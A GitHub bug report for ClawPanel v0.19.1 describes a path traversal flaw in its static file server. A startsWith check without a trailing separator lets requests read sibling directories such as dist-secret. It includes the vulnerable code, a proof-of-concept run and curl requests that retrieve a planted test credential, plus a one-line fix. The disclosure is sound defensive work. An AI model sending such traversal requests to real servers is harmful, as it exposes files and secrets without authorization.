Skip to content

[Bug] Static File Server Path Traversal #337

Open

Description

@AAtomical

问题描述

Summary

The headless web server (scripts/serve.js) checks path traversal with startsWith(DIST_DIR) but omits the trailing path separator. Any sibling directory whose name begins with dist (e.g. dist-backup/, dist-dev/, distribute/) can be read without authentication.

Root Cause

let filePath = path.join(DIST_DIR, urlPath)

if (!filePath.startsWith(DIST_DIR)) {  // ← missing + path.sep
    res.statusCode = 403
    res.end('Forbidden')
    return
}

// ...
fs.createReadStream(filePath).pipe(res)  // line 124
path.join('/app/dist', '/../dist-secret/x') = '/app/dist-secret/x'
'/app/dist-secret/x'.startsWith('/app/dist') = true  ← bypasses check

复现步骤

Reproduction

npm install   # clones qingchencloud/clawpanel, installs as local dep
npm test      # runs poc.js

poc.js resolves the real installed package via require.resolve('clawpanel/package.json'), creates dist/ + dist-secret/credential.txt inside the package root, starts scripts/serve.js from the installed package, and sends a raw TCP GET /../dist-secret/credential.txt:

$ npm test

VULNERABLE
SECRET_API_KEY_DO_NOT_LEAK_12345

Manual curl :

# --path-as-is prevents curl from normalizing /../
curl --path-as-is 'http://127.0.0.1:19421/../dist-secret/credential.txt'
SECRET_API_KEY_DO_NOT_LEAK_12345

# real traversal outside dist prefix → correctly blocked
curl --path-as-is -s -o /dev/null -w "%{http_code}" 'http://127.0.0.1:19421/../package.json'
403

The startsWith check blocks /../package.json (resolves outside dist prefix → 403), but passes /../dist-secret/credential.txt (resolves to a path that still starts with .../dist).

期望行为

Fix

if (!filePath.startsWith(DIST_DIR + path.sep) && filePath !== DIST_DIR) {

操作系统

macOS (Apple Silicon)

系统版本

macOS 26.5.2

ClawPanel 版本

v0.19.1

截图或日志

image

补充信息

No response

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions